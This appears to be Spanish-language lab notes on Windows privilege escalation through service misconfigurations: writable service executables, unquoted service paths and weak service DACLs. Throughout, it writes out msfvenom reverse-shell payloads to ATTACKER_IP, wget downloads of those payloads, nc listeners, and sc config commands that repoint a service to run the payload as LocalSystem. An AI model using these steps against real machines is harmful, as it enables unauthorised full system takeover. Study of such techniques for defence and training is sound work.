Abusing Service Misconfigurations
Last updated
Last updated
El (SCM) Service Control Manageres, es un proceso encargado de gestionar el estado de los servicios según sea necesario, comprobar el estado actual de cualquier servicio y dar una forma de configurar los servicios.
Para ver la estructura de un servicio, podemos comprobar la configuración del servicio apphostsvc con el comando sc qc
:
Lista de Control de Acceso Discrecional (DACL), indica quién tiene permiso para iniciar, detener, pausar, consultar el estado, la configuración o reconfigurar el servicio, entre otros privilegios
TODAS las configuraciones de los servicios se guardan en : HKLM\SYSTEM\CurrentControlSet\Services\
Por defecto sólo los administradores pueden modificar estas entradas del registro
Explotación de Splinterware System Scheduler
1º Veamos la configuración del servicio con sc
:
Con esto vemos que el servicio vulnerable se ejecuta como
.\svcusr1
y el se encuentra en la rutaC:\PROGRA~2\SYSTEM~1\WService.exe
2º Ver los permisos con icacls
:
Vemos que el grupo Everyone
tiene permisos (M)
de modificación sobre el ejecutable.
Eso significa que podemos sobrescribirlo con cualquier payload y a la hora de entablar conexión por una revershell, nos la dará como los privilegios del usuario configurado.
Ahora generemos un payload con msfvenom
y enviarlo desde un servicio web con python
3º Crea un Payload y envialo con Python Usamos msfvenom
para el payload user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe
Levantamos un servidor web con python
para enviarlo:
4º Obtener el Payload desde el equipo de la Victima
Desde la Powershell podemos hacerlo
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe
5º Reemplazar el Payload en el ejecutable Una vez que el Payload este en el Windows de la victima, reemplazamos el ejecutable del servicio, con nuestro payload.
6º Ponerse en escucha con nc
, parar y levantar el servicio user@attackerpc$ nc -lvp 4445
Hay veces que no tengamos permisos de escritura en los ejecutables, pero se puede dar la situación en la que, el nombre del ejecutable no esta "entrecomillado" y/o tiene espacios en su nombre. Esta técnica es algo rara. Veamos la diferencia entre dos servicios:
PowerShell tiene 'sc' como alias de 'Set-Content', por lo tanto necesitas usar 'sc.exe' para controlar los servicios si estás en un prompt de PowerShell.
Ahora, veamos otro servicio sin es cotización adecuada:
Cuando el SCM intenta ejecutar el binario asociado, da error. Como hay espacios en el nombre de la carpeta «Disk Sorter Enterprise», el comando se vuelve ambiguo, y el SCM no sabe cuál de los siguientes está intentando ejecutar.
Normalmente, cuando se envía un comando, los espacios se utilizan como separadores de argumentos, ejemplo; ruta1 ruta2 ruta3, excepto si esta "entrecomillado", ejemplo; "ruta completa buena" Esto significa que la interpretación «correcta» del comando sin comillas sería ejecutar C:\MyPrograms\\Disk.exe
y tomar el resto como argumentos.
Si un atacante crea cualquiera de los ejecutables que se buscan antes que el ejecutable de servicio esperado, puede forzar al servicio a ejecutar un ejecutable arbitrario.
La mayoría de los ejecutables de servicio se instalarán por defecto en C:\Program Files
o C:\Program Files (x86)
, que no es escribible por usuarios sin privilegios.
En est caso, el administrador instaló los binarios en C:\\MyPrograms
. Por defecto, esto hereda los permisos del directorio C:
, lo que permite a cualquier usuario crear archivos y carpetas en él. Podemos comprobarlo usando icacls
:
El grupo
BUILTIN\\Users
tiene privilegios AD y WD, lo que permite al usuario crear subdirectorios y archivos, respectivamente.
El proceso de crear un payload exe-service con msfvenom y transferirlo a la victima, es el mismo que el de antes:
Obtener el Payload desde el equipo de la Victima
wget http://ATTACKER_IP:8000/rev-svc2.exe -O rev-svc2.exe
Ponerse en escucha como atacante: user@attackerpc$ nc -lvp 4446
Ahora, solo muévelo a cualquiera de las ubicaciones donde podría ocurrir el hijacking. En este caso, moveremos nuestro payload a C:\MyPrograms\Disk.exe.
Ahora, igual que en arriba, se para y activa el servicio, para así, gracias a los nombres, busque disk primero, y encuentre nuestro payload.
Es casi casi como un PATH hijacking de linux
Puede ser que el ejecutable del servicio está bien configurada y la ruta binaria del servicio está bien escrita. Pero si la DACL del servicio (no la DACL del ejecutable del servicio) te permite modificar la configuración de un servicio, podrás reconfigurar el servicio
La DACL (Discretionary Access Control List) es una lista de control de acceso que define qué usuarios o grupos tienen permiso para realizar acciones específicas sobre un objeto en un sistema Windows, como un servicio, archivo, o carpeta
Esto te permitirá apuntar a cualquier ejecutable que necesites y ejecutarlo. Para comprobar la DACL de un servicio desde la cmd, se puede utilizar Accesschk de la suite Sysinternals
Aquí podemos ver que el grupo BUILTIN\\Users
tiene el permiso SERVICE_ALL_ACCESS
(total), lo que significa que cualquier usuario puede reconfigurar el servicio.
Volvemos a lo mismo de antes, contruir la revershell con msfvenom:
Ahora lo descargamos en el equipo victima wget http://ATTACKER_IP:8000/rev-svc3.exe -O rev-svc3.exe
También concederemos a Everyone
(permisos completos sobre el archivo) para asegurarnos de que puede ser ejecutado por el servicio C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
Para cambiar el ejecutable y el asociado al servicio, podemos utilizar el siguiente comando (tenga en cuenta los espacios después de los signos iguales cuando utilice sc.exe
)
`C:> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
Elegimos LocalSystem porque es la cuenta con más privilegios disponible. Para activar nuestro payload, solo hay que reiniciar el servicio:
Nos ponemos a la escucha con nc